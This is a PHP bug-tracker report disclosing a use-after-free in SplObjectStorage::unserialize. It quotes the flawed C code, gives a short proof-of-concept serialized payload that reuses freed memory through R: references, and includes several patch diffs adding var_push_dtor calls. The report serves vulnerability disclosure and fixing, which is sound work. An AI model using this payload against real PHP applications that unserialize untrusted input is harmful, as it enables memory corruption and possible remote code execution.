|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-07-30 10:52 UTC] taoguangchen at icloud dot com
Description:
------------
I has reported a similar bug in BUG#70166
```
if (*p!= 'x' || *++p != ':') {
goto outexcept;
}
++p;
ALLOC_INIT_ZVAL(pcount);
if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
goto outexcept;
}
--p; /* for ';' */
count = Z_LVAL_P(pcount);
...
/* done reading $serialized */
if (pcount) {
zval_ptr_dtor(&pcount); <=== free memory
}
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return;
```
&pcount was be freed, but we can use that already freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC:
```
$inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 12:00:01 2025 UTC |
the patch for 5.4 series ( maybe work on 5.5 and 5.6 series): diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c index da9110b..ccf10c5 100644 --- a/php-5.4.43/spl_observer.c +++ b/php-5.4.43-fixed/spl_observer.c @@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize) if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) { goto outexcept; } + + var_push_dtor(&var_hash, &pcount); --p; /* for ';' */ count = Z_LVAL_P(pcount); @@ -880,7 +882,7 @@ SPL_METHOD(SplObjectStorage, unserialize) if(pelement->obj) { var_push_dtor(&var_hash, &pelement->obj); } - } + } spl_object_storage_attach(intern, getThis(), pentry, pinf TSRMLS_CC); zval_ptr_dtor(&pentry); zval_ptr_dtor(&pinf);update a new patch: diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c index da9110b..02d1434 100644 --- a/php-5.4.43/spl_observer.c +++ b/php-5.4.43-fixed/spl_observer.c @@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize) if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) { goto outexcept; } + + var_push_dtor(&var_hash, &pcount); --p; /* for ';' */ count = Z_LVAL_P(pcount);update a new patch for another UaF (test on 5.4 series): diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c index da9110b..195bc72 100644 --- a/php-5.4.43/spl_observer.c +++ b/php-5.4.43-fixed/spl_observer.c @@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize) if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) { goto outexcept; } + + var_push_dtor(&var_hash, &pcount); --p; /* for ';' */ count = Z_LVAL_P(pcount); @@ -902,6 +904,8 @@ SPL_METHOD(SplObjectStorage, unserialize) zval_ptr_dtor(&pmembers); goto outexcept; } + + var_push_dtor(&var_hash, &pmembers); /* copy members */ if (!intern->std.properties) {